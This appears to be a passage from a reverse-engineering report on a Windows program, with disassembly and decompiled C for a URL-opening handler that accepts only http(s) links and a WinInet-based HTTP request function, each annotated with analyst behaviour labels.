140003cbc	f6 c1 01	TEST CL,0x1
140003cbf	75 9f	JNZ LAB_140003c60
140003cc1	48 8d 4a e9	LEA RCX,[RDX + -0x17]
140003cc5	eb 9d	JMP LAB_140003c64
LAB_140003cc7:
140003cc7	66 c7 44 24 50 00 00	MOV word ptr [RSP + local_38],0x0
140003cce	c6 44 24 38 18	MOV byte ptr [RSP + local_50[0]],0x18
140003cd3	48 b8 75 72 6c 20 72 65 …	MOV RAX,0x75716572206c7275
140003cdd	48 89 44 24 39	MOV qword ptr [RSP + local_50[1]],RAX
140003ce2	c7 44 24 41 69 72 65 64	MOV dword ptr [RSP + local_47],0x64657269
140003cea	c6 44 24 45 00	MOV byte ptr [RSP + local_43],0x0
140003cef	4c 8d 44 24 50	LEA R8,[RSP + 0x50]
140003cf4	4c 8d 4c 24 38	LEA R9,[RSP + 0x38]
140003cf9	48 89 f1	MOV RCX,RSI
140003cfc	31 d2	XOR EDX,EDX
140003cfe	e8 fd eb ff ff	CALL json_response_builder	; → json_response_builder (B10, E19)
LAB_140003d03:
140003d03	f6 44 24 50 01	TEST byte ptr [RSP + local_38],0x1
140003d08	74 0a	JZ LAB_140003d14
140003d0a	48 8b 4c 24 60	MOV RCX,qword ptr [RSP + local_28]
140003d0f	e8 cc bb 01 00	CALL FUN_14001f8e0	; FUN_14001f8e0: free
LAB_140003d14:
140003d14	90	NOP
140003d15	48 81 c4 80 00 00 00	ADD RSP,0x80
140003d1c	5e	POP RSI
140003d1d	c3	RET
LAB_140003d1e:
140003d1e	66 c7 44 24 68 00 00	MOV word ptr [RSP + local_20[0]],0x0
140003d25	48 8d 4c 24 38	LEA RCX,[RSP + 0x38]
140003d2a	4c 8d 44 24 68	LEA R8,[RSP + 0x68]
140003d2f	e8 dc 3f 00 00	CALL FUN_140007d10	; FUN_140007d10: strlen, memcpy
140003d34	48 8d 4c 24 50	LEA RCX,[RSP + 0x50]
140003d39	48 8d 54 24 38	LEA RDX,[RSP + 0x38]
140003d3e	e8 ed f0 ff ff	CALL FUN_140002e30	; FUN_140002e30: MultiByteToWideChar
140003d43	f6 44 24 38 01	TEST byte ptr [RSP + local_50[0]],0x1
140003d48	74 0a	JZ LAB_140003d54
140003d4a	48 8b 4c 24 48	MOV RCX,qword ptr [RSP + local_40]
140003d4f	e8 8c bb 01 00	CALL FUN_14001f8e0	; FUN_14001f8e0: free
LAB_140003d54:
140003d54	f6 44 24 68 01	TEST byte ptr [RSP + local_20[0]],0x1
140003d59	74 0a	JZ LAB_140003d65
140003d5b	48 8b 4c 24 78	MOV RCX,qword ptr [RSP + local_20[16]]
140003d60	e8 7b bb 01 00	CALL FUN_14001f8e0	; FUN_14001f8e0: free
LAB_140003d65:
140003d65	0f b6 4c 24 50	MOVZX ECX,byte ptr [RSP + local_38]
140003d6a	89 c8	MOV EAX,ECX
140003d6c	d1 e8	SHR EAX,0x1
140003d6e	f6 c1 01	TEST CL,0x1
140003d71	4c 8d 44 24 52	LEA R8,[RSP + 0x52]
140003d76	4c 0f 45 44 24 60	CMOVNZ R8,qword ptr [RSP + local_28]
140003d7c	48 0f 45 44 24 58	CMOVNZ RAX,qword ptr [RSP + local_30]
140003d82	48 83 f8 07	CMP RAX,0x7
140003d86	b9 07 00 00 00	MOV ECX,0x7
140003d8b	48 0f 42 c8	CMOVC RCX,RAX
140003d8f	48 85 c0	TEST RAX,RAX
140003d92	0f 84 b5 01 00 00	JZ LAB_140003f4d
140003d98	89 c9	MOV ECX,ECX
140003d9a	49 8d 14 48	LEA RDX,[R8 + RCX*0x2]
140003d9e	4d 89 c1	MOV R9,R8
140003da1	48 89 d1	MOV RCX,RDX
LAB_140003da4:
140003da4	49 83 c1 0c	ADD R9,0xc
140003da8	4d 89 ca	MOV R10,R9
140003dab	0f 1f 44 00 00	NOP dword ptr [RAX + RAX*0x1]
LAB_140003db0:
140003db0	4d 8d 4a f6	LEA R9,[R10 + -0xa]
140003db4	66 41 83 7a f4 68	CMP word ptr [R10 + local_38+0x2],0x68
140003dba	74 0b	JZ LAB_140003dc7
140003dbc	49 83 c2 02	ADD R10,0x2
140003dc0	49 39 d1	CMP R9,RDX
140003dc3	75 eb	JNZ LAB_140003db0
140003dc5	eb 67	JMP LAB_140003e2e
LAB_140003dc7:
140003dc7	49 39 d1	CMP R9,RDX
140003dca	74 62	JZ LAB_140003e2e
140003dcc	66 41 83 39 74	CMP word ptr [R9],0x74
140003dd1	75 d1	JNZ LAB_140003da4
140003dd3	4d 8d 5a f8	LEA R11,[R10 + -0x8]
140003dd7	49 39 d3	CMP R11,RDX
140003dda	74 52	JZ LAB_140003e2e
140003ddc	66 41 83 3b 74	CMP word ptr [R11],0x74
140003de1	75 c1	JNZ LAB_140003da4
140003de3	4d 8d 5a fa	LEA R11,[R10 + -0x6]
140003de7	49 39 d3	CMP R11,RDX
140003dea	74 42	JZ LAB_140003e2e
140003dec	66 41 83 3b 70	CMP word ptr [R11],0x70
140003df1	75 b1	JNZ LAB_140003da4
140003df3	4d 8d 5a fc	LEA R11,[R10 + -0x4]
140003df7	49 39 d3	CMP R11,RDX
140003dfa	74 32	JZ LAB_140003e2e
140003dfc	66 41 83 3b 3a	CMP word ptr [R11],0x3a
140003e01	75 a1	JNZ LAB_140003da4
140003e03	4d 8d 5a fe	LEA R11,[R10 + -0x2]
140003e07	49 39 d3	CMP R11,RDX
140003e0a	74 22	JZ LAB_140003e2e
140003e0c	66 41 83 3b 2f	CMP word ptr [R11],0x2f
140003e11	75 91	JNZ LAB_140003da4
140003e13	49 39 d2	CMP R10,RDX
140003e16	74 16	JZ LAB_140003e2e
140003e18	4d 8d 5a f4	LEA R11,[R10 + -0xc]
140003e1c	4d 8d 4a f6	LEA R9,[R10 + -0xa]
140003e20	66 41 83 3a 2f	CMP word ptr [R10],0x2f
140003e25	49 0f 44 cb	CMOVZ RCX,R11
140003e29	e9 76 ff ff ff	JMP LAB_140003da4
LAB_140003e2e:
140003e2e	48 39 d1	CMP RCX,RDX
140003e31	74 09	JZ LAB_140003e3c
140003e33	4c 39 c1	CMP RCX,R8
140003e36	0f 84 bf 00 00 00	JZ LAB_140003efb
LAB_140003e3c:
140003e3c	48 83 f8 08	CMP RAX,0x8
140003e40	b9 08 00 00 00	MOV ECX,0x8
140003e45	48 0f 42 c8	CMOVC RCX,RAX
140003e49	89 c8	MOV EAX,ECX
140003e4b	49 8d 0c 40	LEA RCX,[R8 + RAX*0x2]
140003e4f	4c 89 c2	MOV RDX,R8
140003e52	48 89 c8	MOV RAX,RCX
LAB_140003e55:
140003e55	48 83 c2 0e	ADD RDX,0xe
140003e59	49 89 d1	MOV R9,RDX
140003e5c	0f 1f 40 00	NOP dword ptr [RAX]
LAB_140003e60:
140003e60	49 8d 51 f4	LEA RDX,[R9 + -0xc]
140003e64	66 41 83 79 f2 68	CMP word ptr [R9 + local_38+0x2],0x68
140003e6a	74 0b	JZ LAB_140003e77
140003e6c	49 83 c1 02	ADD R9,0x2
140003e70	48 39 ca	CMP RDX,RCX
140003e73	75 eb	JNZ LAB_140003e60
140003e75	eb 7a	JMP LAB_140003ef1
LAB_140003e77:
140003e77	48 39 ca	CMP RDX,RCX
140003e7a	74 75	JZ LAB_140003ef1
140003e7c	66 83 3a 74	CMP word ptr [RDX],0x74
140003e80	75 d3	JNZ LAB_140003e55
140003e82	4d 8d 51 f6	LEA R10,[R9 + -0xa]
140003e86	49 39 ca	CMP R10,RCX
140003e89	74 66	JZ LAB_140003ef1
140003e8b	66 41 83 3a 74	CMP word ptr [R10],0x74
140003e90	75 c3	JNZ LAB_140003e55
140003e92	4d 8d 51 f8	LEA R10,[R9 + -0x8]
140003e96	49 39 ca	CMP R10,RCX
140003e99	74 56	JZ LAB_140003ef1
140003e9b	66 41 83 3a 70	CMP word ptr [R10],0x70
140003ea0	75 b3	JNZ LAB_140003e55
140003ea2	4d 8d 51 fa	LEA R10,[R9 + -0x6]
140003ea6	49 39 ca	CMP R10,RCX
140003ea9	74 46	JZ LAB_140003ef1
140003eab	66 41 83 3a 73	CMP word ptr [R10],0x73
140003eb0	75 a3	JNZ LAB_140003e55
140003eb2	4d 8d 51 fc	LEA R10,[R9 + -0x4]
140003eb6	49 39 ca	CMP R10,RCX
140003eb9	74 36	JZ LAB_140003ef1
140003ebb	66 41 83 3a 3a	CMP word ptr [R10],0x3a
140003ec0	75 93	JNZ LAB_140003e55
140003ec2	4d 8d 51 fe	LEA R10,[R9 + -0x2]
140003ec6	49 39 ca	CMP R10,RCX
140003ec9	74 26	JZ LAB_140003ef1
140003ecb	66 41 83 3a 2f	CMP word ptr [R10],0x2f
140003ed0	0f 85 7f ff ff ff	JNZ LAB_140003e55
140003ed6	49 39 c9	CMP R9,RCX
140003ed9	74 16	JZ LAB_140003ef1
140003edb	4d 8d 51 f2	LEA R10,[R9 + -0xe]
140003edf	49 8d 51 f4	LEA RDX,[R9 + -0xc]
140003ee3	66 41 83 39 2f	CMP word ptr [R9],0x2f
140003ee8	49 0f 44 c2	CMOVZ RAX,R10
140003eec	e9 64 ff ff ff	JMP LAB_140003e55
LAB_140003ef1:
140003ef1	48 39 c8	CMP RAX,RCX
140003ef4	74 57	JZ LAB_140003f4d
140003ef6	4c 39 c0	CMP RAX,R8
140003ef9	75 52	JNZ LAB_140003f4d
LAB_140003efb:
140003efb	c7 44 24 28 01 00 00 00	MOV dword ptr [RSP + local_60],0x1
140003f03	48 c7 44 24 20 00 00 00 …	MOV qword ptr [RSP + local_68],0x0
140003f0c	48 8d 15 1f 7d 09 00	LEA RDX,[u_open_14009bc32]	; "open"
140003f13	31 c9	XOR ECX,ECX
140003f15	45 31 c9	XOR R9D,R9D
140003f18	ff 15 d2 e4 0a 00	CALL qword ptr [PTR_ShellExecuteW_1400b23f0]
140003f1e	c6 44 24 38 08	MOV byte ptr [RSP + local_50[0]],0x8
140003f23	c7 44 24 39 74 72 75 65	MOV dword ptr [RSP + local_50[1]],0x65757274
140003f2b	c6 44 24 3d 00	MOV byte ptr [RSP + local_50[5]],0x0
140003f30	66 c7 44 24 68 00 00	MOV word ptr [RSP + local_20[0]],0x0
140003f37	4c 8d 44 24 38	LEA R8,[RSP + 0x38]
140003f3c	4c 8d 4c 24 68	LEA R9,[RSP + 0x68]
140003f41	48 89 f1	MOV RCX,RSI
140003f44	b2 01	MOV DL,offset s_ound_14009bbfc+5
140003f46	e8 b5 e9 ff ff	CALL json_response_builder	; → json_response_builder (B10, E19)
140003f4b	eb 39	JMP LAB_140003f86
LAB_140003f4d:
140003f4d	66 c7 44 24 38 00 00	MOV word ptr [RSP + local_50[0]],0x0
140003f54	c6 44 24 68 28	MOV byte ptr [RSP + local_20[0]],0x28
140003f59	0f 10 05 bd 7c 09 00	MOVUPS XMM0,xmmword ptr [s_only_http(s)_allowed_14009bc1d]	; "only http(s) allowed"
140003f60	0f 11 44 24 69	MOVUPS xmmword ptr [RSP + local_20[1]],XMM0
140003f65	c7 44 24 79 6f 77 65 64	MOV dword ptr [RSP + local_20[17]],0x6465776f
140003f6d	c6 44 24 7d 00	MOV byte ptr [RSP + local_20[21]],0x0
140003f72	4c 8d 44 24 38	LEA R8,[RSP + 0x38]
140003f77	4c 8d 4c 24 68	LEA R9,[RSP + 0x68]
140003f7c	48 89 f1	MOV RCX,RSI
140003f7f	31 d2	XOR EDX,EDX
140003f81	e8 7a e9 ff ff	CALL json_response_builder	; → json_response_builder (B10, E19)
LAB_140003f86:
140003f86	f6 44 24 38 01	TEST byte ptr [RSP + local_50[0]],0x1
140003f8b	0f 84 72 fd ff ff	JZ LAB_140003d03
140003f91	48 8b 4c 24 48	MOV RCX,qword ptr [RSP + local_40]
140003f96	e8 45 b9 01 00	CALL FUN_14001f8e0	; FUN_14001f8e0: free
140003f9b	e9 63 fd ff ff	JMP LAB_140003d03

http_request

0x1400040001315 bytes

undefined8 http_request(undefined8 * param_1, undefined8 param_2, ulonglong param_3, undefined * param_4)

Sends HTTP requests via WinInet (InternetOpenA, InternetOpenUrlA, InternetReadFile), reads response

Cited as: E3
Behaviours: B3
Called from: none found
Calls: HttpAddRequestHeadersW HttpOpenRequestW HttpQueryInfoW HttpSendRequestW InternetCloseHandle InternetConnectW InternetCrackUrlW InternetReadFile PostMessageW GetLastError internet_init, FUN_14000ea50, FUN_14000ea80, FUN_14000eec0, thunk_FUN_140010410, FUN_140014000, FUN_14001f800, FUN_14001f8e0, FUN_140020228, FUN_1400202ea, FUN_140021ad4

Decompiled C · 303 lines

undefined8
http_request(undefined8 *param_1,undefined8 param_2,ulonglong param_3,undefined *param_4)

{
  byte bVar1;
  undefined1 uVar2;
  undefined1 uVar3;
  void *pvVar4;
  undefined8 uVar5;
  longlong lVar6;
  byte bVar7;
  bool bVar8;
  int iVar9;
  uint uVar10;
  DWORD DVar11;
  ulonglong uVar12;
  undefined8 *lParam;
  longlong lVar13;
  longlong lVar14;
  undefined8 *puVar15;
  undefined7 extraout_var;
  undefined *puVar16;
  longlong lVar17;
  undefined1 *puVar18;
  undefined8 uVar19;
  char *pcVar20;
  undefined4 unaff_XMM6_Da;
  undefined4 unaff_XMM6_Db;
  undefined4 unaff_XMM6_Dc;
  undefined4 unaff_XMM6_Dd;
  undefined1 auStackX_8 [16];
  ulonglong auStackX_18 [2];
  undefined8 uStack_48;
  
  uStack_48 = 0x140004016;
  uVar12 = FUN_140021ad4();
  lVar6 = -uVar12;
  *(undefined4 *)(&stack0x000032a0 + lVar6) = unaff_XMM6_Da;
  *(undefined4 *)(&stack0x000032a4 + lVar6) = unaff_XMM6_Db;
  *(undefined4 *)(&stack0x000032a8 + lVar6) = unaff_XMM6_Dc;
  *(undefined4 *)(&stack0x000032ac + lVar6) = unaff_XMM6_Dd;
  *(undefined8 *)((longlong)&uStack_48 + lVar6) = 0x14000402e;
  lParam = (undefined8 *)FUN_14001f800(0x40,param_2,param_3,param_4);
  *lParam = 0;
  lParam[1] = 0;
  lParam[2] = 0;
  lParam[3] = 0;
  lParam[4] = 0;
  lParam[5] = 0;
  lParam[6] = 0;
  lParam[7] = 0;
  *lParam = *param_1;
  if (DAT_1400c9470 == '\0') {
    *(undefined8 *)((longlong)&uStack_48 + lVar6) = 0x1400044fe;
    bVar8 = FUN_140020228(&DAT_1400c9470,param_2,param_3,param_4);
    if ((int)CONCAT71(extraout_var,bVar8) != 0) {
      *(undefined8 *)((longlong)&uStack_48 + lVar6) = 0x14000450b;
      DAT_1400c9468 = internet_init();
      *(undefined8 *)((longlong)&uStack_48 + lVar6) = 0x14000451e;
      FUN_1400202ea(&DAT_1400c9470,param_2,param_3,param_4);
    }
  }
  lVar13 = DAT_1400c9468;
  if (DAT_1400c9468 == 0) {
    pcVar20 = "InternetOpen failed";
  }
  else {
    *(undefined8 *)(&stack0x00000030 + lVar6) = 0;
    *(undefined8 *)(&stack0x00000038 + lVar6) = 0;
    *(undefined8 *)(&stack0x00000040 + lVar6) = 0;
    *(undefined8 *)(&stack0x00000048 + lVar6) = 0;
    *(undefined8 *)(&stack0x00000050 + lVar6) = 0;
    *(undefined8 *)(&stack0x00000058 + lVar6) = 0;
    *(undefined8 *)(&stack0x00000070 + lVar6) = 0;
    *(undefined8 *)(&stack0x00000078 + lVar6) = 0;
    *(undefined8 *)(&stack0x00000080 + lVar6) = 0;
    *(undefined8 *)(&stack0x00000088 + lVar6) = 0;
    *(undefined8 *)(&stack0x00000060 + lVar6) = 0;
    *(undefined8 *)(&stack0x00000068 + lVar6) = 0;
    *(undefined8 *)(&stack0x00000090 + lVar6) = 0;
    *(undefined4 *)(&stack0x00000030 + lVar6) = 0x68;
    *(undefined1 **)(&stack0x00000048 + lVar6) = &stack0x000000a0 + lVar6;
    *(undefined4 *)(&stack0x00000050 + lVar6) = 0x100;
    *(undefined1 **)(&stack0x00000078 + lVar6) = &stack0x000022a0 + lVar6;
    *(undefined4 *)(&stack0x00000080 + lVar6) = 0x800;
    if ((*(byte *)(param_1 + 1) & 1) == 0) {
      lVar14 = (longlong)param_1 + 10;
    }
    else {
      lVar14 = param_1[3];
    }
    param_4 = &stack0x00000030 + lVar6;
    param_3 = 0;
    *(undefined8 *)((longlong)&uStack_48 + lVar6) = 0x140004115;
    iVar9 = InternetCrackUrlW(lVar14,0);
    if (iVar9 == 0) {
      pcVar20 = "Bad URL";
    }
    else {
      iVar9 = *(int *)(&stack0x00000044 + lVar6);
      param_3 = (ulonglong)*(ushort *)(&stack0x00000054 + lVar6);
      param_4 = &DAT_14009b7fa;
      *(undefined **)(&stack0xffffffffffffffe0 + lVar6) = &DAT_14009b7fa;
      *(undefined8 *)(&stack0xfffffffffffffff8 + lVar6) = 0;
      *(undefined4 *)(&stack0xfffffffffffffff0 + lVar6) = 0;
      *(undefined4 *)(&stack0xffffffffffffffe8 + lVar6) = 3;
      *(undefined8 *)((longlong)&uStack_48 + lVar6) = 0x14000415f;
      lVar13 = InternetConnectW(lVar13,&stack0x000000a0 + lVar6);
      if (lVar13 != 0) {
        bVar1 = *(byte *)(param_1 + 4);
        if ((bVar1 & 1) == 0) {
          uVar12 = (ulonglong)(bVar1 >> 1);
        }
        else {
          uVar12 = param_1[5];
        }
        if (uVar12 == 0) {
          puVar16 = &DAT_14009bbae;
        }
        else if ((bVar1 & 1) == 0) {
          puVar16 = (undefined *)((longlong)param_1 + 0x22);
        }
        else {
          puVar16 = (undefined *)param_1[6];
        }
        *(uint *)(&stack0xfffffffffffffff0 + lVar6) = (uint)(iVar9 == 4) << 0x17 | 0x84000200;
        *(undefined8 *)(&stack0xffffffffffffffe0 + lVar6) = 0;
        *(undefined8 *)(&stack0xffffffffffffffe8 + lVar6) = 0;
        *(undefined8 *)(&stack0xfffffffffffffff8 + lVar6) = 0;
        puVar18 = &stack0x000022a0 + lVar6;
        uVar19 = 0;
        *(undefined8 *)((longlong)&uStack_48 + lVar6) = 0x14000427b;
        lVar14 = HttpOpenRequestW(lVar13,puVar16);
        if (lVar14 == 0) {
          *(undefined8 *)((longlong)&uStack_48 + lVar6) = 0x1400042a9;
          thunk_FUN_140010410(lParam + 5,"HttpOpenRequest failed",puVar18,uVar19);
        }
        else {
          bVar1 = *(byte *)(param_1 + 7);
          if ((bVar1 & 1) == 0) {
            if (bVar1 >> 1 != 0) goto LAB_1400042b7;
          }
          else if (param_1[8] != 0) {
LAB_1400042b7:
            if ((bVar1 & 1) == 0) {
              lVar17 = (longlong)param_1 + 0x3a;
            }
            else {
              lVar17 = param_1[9];
            }
            *(undefined8 *)((longlong)&uStack_48 + lVar6) = 0x1400042da;
            HttpAddRequestHeadersW(lVar14,lVar17);
          }
          bVar1 = *(byte *)(param_1 + 10);
          if ((bVar1 & 1) == 0) {
            bVar7 = bVar1 >> 1;
            uVar12 = (ulonglong)bVar7;
            uVar10 = (uint)bVar7;
            if (bVar7 != 0) goto LAB_1400042ec;
LAB_140004300:
            lVar17 = 0;
          }
          else {
            uVar12 = param_1[0xb];
            uVar10 = 0;
            if (uVar12 == 0) goto LAB_140004300;
LAB_1400042ec:
            uVar10 = (uint)uVar12;
            if ((bVar1 & 1) == 0) {
              lVar17 = (longlong)param_1 + 0x51;
            }
            else {
              lVar17 = param_1[0xc];
            }
          }
          *(uint *)(&stack0xffffffffffffffe0 + lVar6) = uVar10;
          uVar19 = 0;
          *(undefined8 *)((longlong)&uStack_48 + lVar6) = 0x14000431b;
          iVar9 = HttpSendRequestW(lVar14,0);
          if (iVar9 == 0) {
            *(undefined8 *)((longlong)&uStack_48 + lVar6) = 0x1400043fa;
            DVar11 = GetLastError();
            *(undefined8 *)((longlong)&uStack_48 + lVar6) = 0x140004409;
            FUN_140014000((longlong *)((longlong)auStackX_18 + lVar6),(ulonglong)DVar11,uVar19,
                          lVar17);
            pcVar20 = "HttpSendRequest failed (";
            *(undefined8 *)((longlong)&uStack_48 + lVar6) = 0x14000441a;
            puVar15 = (undefined8 *)
                      FUN_14000eec0((ulonglong *)((longlong)auStackX_18 + lVar6),0,
                                    (byte *)"HttpSendRequest failed (");
            *(undefined8 *)(&stack0x000002b0 + lVar6) = puVar15[2];
            uVar19 = puVar15[1];
            *(undefined8 *)(&stack0x000002a0 + lVar6) = *puVar15;
            *(undefined8 *)(&stack0x000002a8 + lVar6) = uVar19;
            *puVar15 = 0;
            puVar15[1] = 0;
            puVar15[2] = 0;
            *(undefined8 *)((longlong)&uStack_48 + lVar6) = 0x140004453;
            puVar15 = (undefined8 *)
                      FUN_14000ea50((ulonglong *)(&stack0x000002a0 + lVar6),")",pcVar20,lVar17);
            uVar2 = *(undefined1 *)puVar15;
            uVar3 = *(undefined1 *)((longlong)puVar15 + 1);
            *(undefined8 *)(auStackX_8 + lVar6 + 6) = puVar15[1];
            *(undefined8 *)(auStackX_8 + lVar6) = *(undefined8 *)((longlong)puVar15 + 2);
            uVar19 = puVar15[2];
            *puVar15 = 0;
            puVar15[1] = 0;
            puVar15[2] = 0;
            if ((*(byte *)(lParam + 5) & 1) != 0) {
              pvVar4 = (void *)lParam[7];
              *(undefined8 *)((longlong)&uStack_48 + lVar6) = 0x14000448b;
              FUN_14001f8e0(pvVar4);
            }
            *(undefined1 *)(lParam + 5) = uVar2;
            *(undefined1 *)((longlong)lParam + 0x29) = uVar3;
            uVar5 = *(undefined8 *)(auStackX_8 + lVar6 + 6);
            *(undefined8 *)((longlong)lParam + 0x2a) = *(undefined8 *)(auStackX_8 + lVar6);
            lParam[6] = uVar5;
            lParam[7] = uVar19;
            if (((&stack0x000002a0)[lVar6] & 1) != 0) {
              *(undefined8 *)((longlong)&uStack_48 + lVar6) = 0x1400044c0;
              FUN_14001f8e0(*(void **)(&stack0x000002b0 + lVar6));
            }
            if ((*(byte *)((longlong)auStackX_18 + lVar6) & 1) != 0) {
              *(undefined8 *)((longlong)&uStack_48 + lVar6) = 0x1400044d1;
              FUN_14001f8e0(*(void **)(&stack0x00000028 + lVar6));
            }
          }
          else {
            *(undefined4 *)((longlong)auStackX_18 + lVar6) = 0;
            *(undefined4 *)(auStackX_8 + lVar6) = 4;
            *(undefined8 *)(&stack0xffffffffffffffe0 + lVar6) = 0;
            *(undefined8 *)((longlong)&uStack_48 + lVar6) = 0x140004354;
            HttpQueryInfoW(lVar14,0x20000013,(longlong)auStackX_18 + lVar6,auStackX_8 + lVar6);
            *(undefined4 *)(lParam + 1) = *(undefined4 *)((longlong)auStackX_18 + lVar6);
            *(undefined4 *)((longlong)auStackX_18 + lVar6 + -0x14) = 0;
            lVar17 = (longlong)auStackX_18 + lVar6 + -0x14;
            *(undefined8 *)((longlong)&uStack_48 + lVar6) = 0x14000437f;
            iVar9 = InternetReadFile(lVar14,&stack0x000002a0 + lVar6,0x2000);
            uVar10 = *(uint *)((longlong)auStackX_18 + lVar6 + -0x14);
            if (uVar10 != 0 && iVar9 != 0) {
              do {
                *(undefined8 *)((longlong)&uStack_48 + lVar6) = 0x1400043ce;
                FUN_14000ea80(lParam + 2,&stack0x000002a0 + lVar6,(ulonglong)uVar10,lVar17);
                *(undefined8 *)((longlong)&uStack_48 + lVar6) = 0x1400043df;
                lVar17 = (longlong)auStackX_18 + lVar6 + -0x14;
                iVar9 = InternetReadFile(lVar14,&stack0x000002a0 + lVar6,0x2000);
                if (iVar9 == 0) break;
                uVar10 = *(uint *)((longlong)auStackX_18 + lVar6 + -0x14);
              } while (uVar10 != 0);
            }
          }
          *(undefined8 *)((longlong)&uStack_48 + lVar6) = 0x1400044da;
          InternetCloseHandle(lVar14);
        }
        *(undefined8 *)((longlong)&uStack_48 + lVar6) = 0x1400044e3;
        InternetCloseHandle(lVar13);
        bVar1 = *(byte *)(param_1 + 10);
        goto joined_r0x0001400041a8;
      }
      pcVar20 = "InternetConnect failed";
    }
  }
  *(undefined8 *)((longlong)&uStack_48 + lVar6) = 0x1400041a4;
  thunk_FUN_140010410(lParam + 5,pcVar20,param_3,param_4);
  bVar1 = *(byte *)(param_1 + 10);
joined_r0x0001400041a8:
  if ((bVar1 & 1) != 0) {
    pvVar4 = (void *)param_1[0xc];
    *(undefined8 *)((longlong)&uStack_48 + lVar6) = 0x1400041b3;
    FUN_14001f8e0(pvVar4);
  }
  if ((*(byte *)(param_1 + 7) & 1) == 0) {
    bVar1 = *(byte *)(param_1 + 4);
  }
  else {
    pvVar4 = (void *)param_1[9];
    *(undefined8 *)((longlong)&uStack_48 + lVar6) = 0x140004215;
    FUN_14001f8e0(pvVar4);
    bVar1 = *(byte *)(param_1 + 4);
  }
  if ((bVar1 & 1) == 0) {
    bVar1 = *(byte *)(param_1 + 1);
  }
  else {
    pvVar4 = (void *)param_1[6];
    *(undefined8 *)((longlong)&uStack_48 + lVar6) = 0x140004224;
    FUN_14001f8e0(pvVar4);
    bVar1 = *(byte *)(param_1 + 1);
  }
  if ((bVar1 & 1) != 0) {
    pvVar4 = (void *)param_1[3];
    *(undefined8 *)((longlong)&uStack_48 + lVar6) = 0x1400041ce;
    FUN_14001f8e0(pvVar4);
  }
  *(undefined8 *)((longlong)&uStack_48 + lVar6) = 0x1400041d6;
  FUN_14001f8e0(param_1);
  *(undefined8 *)((longlong)&uStack_48 + lVar6) = 0x1400041ee;
  PostMessageW(DAT_1400c9450,0x8001,0,(LPARAM)lParam);
  return 0;
}

Assembly · 307 instructions, 23 annotated

Address	Bytes	Instruction	Comment
140004000	41 57	PUSH R15
140004002	41 56	PUSH R14
140004004	41 55	PUSH R13
140004006	41 54	PUSH R12
140004008	56	PUSH RSI
140004009	57	PUSH RDI
14000400a	55	PUSH RBP
14000400b	53	PUSH RBX
14000400c	b8 f8 32 00 00	MOV EAX,0x32f8
140004011	e8 be da 01 00	CALL FUN_140021ad4
140004016	48 29 c4	SUB RSP,RAX
140004019	0f 29 b4 24 e0 32 00 00	MOVAPS xmmword ptr [RSP + 0x32e0],XMM6
140004021	48 89 cf	MOV RDI,RCX
140004024	b9 40 00 00 00	MOV ECX,0x40
140004029	e8 d2 b7 01 00	CALL FUN_14001f800	; FUN_14001f800: malloc
14000402e	48 89 c6	MOV RSI,RAX
140004031	0f 57 c0	XORPS XMM0,XMM0
140004034	0f 29 00	MOVAPS xmmword ptr [RAX],XMM0
140004037	0f 29 40 10	MOVAPS xmmword ptr [RAX + 0x10],XMM0
14000403b	0f 29 40 20	MOVAPS xmmword ptr [RAX + 0x20],XMM0
14000403f	0f 29 40 30	MOVAPS xmmword ptr [RAX + 0x30],XMM0
140004043	48 8b 07	MOV RAX,qword ptr [RDI]
140004046	48 89 06	MOV qword ptr [RSI],RAX
140004049	0f b6 05 20 54 0c 00	MOVZX EAX,byte ptr [DAT_1400c9470]
140004050	84 c0	TEST AL,AL
140004052	0f 84 9a 04 00 00	JZ LAB_1400044f2
LAB_140004058:
140004058	48 8b 1d 09 54 0c 00	MOV RBX,qword ptr [DAT_1400c9468]
14000405f	48 85 db	TEST RBX,RBX
140004062	0f 84 86 00 00 00	JZ LAB_1400040ee
140004068	0f 57 c0	XORPS XMM0,XMM0
14000406b	0f 29 44 24 70	MOVAPS xmmword ptr [RSP + 0x70],XMM0
140004070	0f 29 84 24 80 00 00 00	MOVAPS xmmword ptr [RSP + 0x80],XMM0
140004078	0f 29 84 24 90 00 00 00	MOVAPS xmmword ptr [RSP + 0x90],XMM0
140004080	0f 29 84 24 b0 00 00 00	MOVAPS xmmword ptr [RSP + 0xb0],XMM0
140004088	0f 29 84 24 c0 00 00 00	MOVAPS xmmword ptr [RSP + 0xc0],XMM0
140004090	0f 29 84 24 a0 00 00 00	MOVAPS xmmword ptr [RSP + 0xa0],XMM0
140004098	48 c7 84 24 d0 00 00 00 …	MOV qword ptr [RSP + 0xd0],0x0
1400040a4	c7 44 24 70 68 00 00 00	MOV dword ptr [RSP + 0x70],0x68
1400040ac	48 8d 84 24 e0 00 00 00	LEA RAX,[RSP + 0xe0]
1400040b4	48 89 84 24 88 00 00 00	MOV qword ptr [RSP + 0x88],RAX
1400040bc	c7 84 24 90 00 00 00 00 …	MOV dword ptr [RSP + 0x90],0x100
1400040c7	48 8d 84 24 e0 22 00 00	LEA RAX,[RSP + 0x22e0]
1400040cf	48 89 84 24 b8 00 00 00	MOV qword ptr [RSP + 0xb8],RAX
1400040d7	c7 84 24 c0 00 00 00 00 …	MOV dword ptr [RSP + 0xc0],0x800
1400040e2	f6 47 08 01	TEST byte ptr [RDI + 0x8],0x1
1400040e6	74 19	JZ LAB_140004101
1400040e8	48 8b 4f 18	MOV RCX,qword ptr [RDI + 0x18]
1400040ec	eb 17	JMP LAB_140004105
LAB_1400040ee:
1400040ee	48 89 f1	MOV RCX,RSI
1400040f1	48 83 c1 28	ADD RCX,0x28
1400040f5	48 8d 15 7e 7a 09 00	LEA RDX,[s_InternetOpen_failed_14009bb7a]	; "InternetOpen failed"
1400040fc	e9 9e 00 00 00	JMP LAB_14000419f
LAB_140004101:
140004101	48 8d 4f 0a	LEA RCX,[RDI + 0xa]
LAB_140004105:
140004105	4c 8d 4c 24 70	LEA R9,[RSP + 0x70]
14000410a	31 d2	XOR EDX,EDX
14000410c	45 31 c0	XOR R8D,R8D
14000410f	ff 15 d3 e1 0a 00	CALL qword ptr [PTR_InternetCrackUrlW_1400b22e8]
140004115	85 c0	TEST EAX,EAX
140004117	74 6f	JZ LAB_140004188
140004119	8b ac 24 84 00 00 00	MOV EBP,dword ptr [RSP + 0x84]
140004120	44 0f b7 84 24 94 00 00 …	MOVZX R8D,word ptr [RSP + 0x94]
140004129	4c 8d 0d ca 76 09 00	LEA R9,[DAT_14009b7fa]
140004130	4c 89 4c 24 20	MOV qword ptr [RSP + 0x20],R9
140004135	48 c7 44 24 38 00 00 00 …	MOV qword ptr [RSP + 0x38],0x0
14000413e	c7 44 24 30 00 00 00 00	MOV dword ptr [RSP + 0x30],0x0
